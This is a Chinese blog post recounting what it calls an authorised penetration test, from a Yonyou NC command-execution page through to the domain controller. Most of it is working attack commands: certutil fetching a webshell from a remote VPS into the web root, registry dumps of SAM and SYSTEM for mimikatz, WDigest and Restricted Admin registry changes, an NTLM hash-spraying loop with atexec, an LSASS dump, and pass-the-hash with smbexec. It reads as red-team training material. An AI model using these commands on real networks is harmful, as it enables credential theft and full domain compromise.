欢迎转发,请勿抄袭
分享一次授权实战经历。
一、信息收集:
发现目标使用了用友nc,且存在命令执行测试页面。
发现存在域。
当前登陆用户为域管。
1、尝试使用上传漏洞获取webshell.
利用失败!
2、尝试使用echo 通过命令执行的方式写出webshell。
发现jsp的webshell存在双引号,因而exec中需要双引号闭合,导致echo写不出双引号。将双引号替换成单引号,运行报错。
尝试几种方式后,发现可以通过下载证书的方式得到webshell。
exec("cmd.exe /c certutil -urlcache -split -f http://vps/ccc.txt webapps/nc_web/ccc.jsp");
三、凭证收集
通过哥斯拉的webshell,获取到了登陆凭证,且为域管的登陆凭证。
但是是一年前登陆,估计已经失效了,也认证一下。。
python3 smbexec.py -hashes :ntlm 域/用户名@ip
发现该ntlm已经使用不了了。
四、注册表获取本地凭证
通过wenshell的命令执行导出注册表本地用户凭证。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg save hklm\sam e:\test\sam.hive
reg save hklm\system e:\test\system.hive
将文件下载到本地,使用mimikatz解密即可。
lsadump::sam /sam:sam.hive /system:system.hive
登陆验证。
atexec.exe -hashes :ntlm ./账号@ip 需要执行的命令
该服务器虽然域管登陆过,但是,已经失效。因此我们需要该本地凭证去喷洒其他主机,获取域管或者域成员的账号信息。
五、横向跑hash
进行ntlm喷洒
for /F %I in (ip.txt) DO atexec.exe -hashes :ntlm ./administrator@%I whoami
发现相邻ip,存在ntlm一致,尝试登陆。
通过tasklist /v查看该服务器存在域管进程。
六、使用ntlm登陆远程桌面
开启ntlm远程登陆,登陆远程桌面。
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
七、获取域管凭证
上传内存hash读取工具,Lsass_Dump.exe,得到内存1.dmp文件,下载到本地。使用猕猴桃解密。
验证该ntlm值。
atexec.exe -hashes :ntlm 域/administrator@ip whoami
发现该ntlm是正确的域管值,该ntlm可登陆域内任何主机。
八、登陆域控
在域内机器登陆域账号的情况下执行。
net group "domain controllers" /domain 查找域管理器,再ping即可得到域控ip
得到域控ip之后,不能直接通过ntlm登陆,先用smb管道开启ntlm登陆方式。
python3 smbexec.py -hashes :ntlm 域/域管用户@域控ip
并执行
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
并开启mtlm远程桌面登陆。配合猕猴桃登陆即可。
总结:相对来说这次还是比较幸运,直接获取可以得到域管凭证。
文章声明:文章涉及到的工具、及教程仅供学习参考,请勿非法使用。否则与作者无关!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论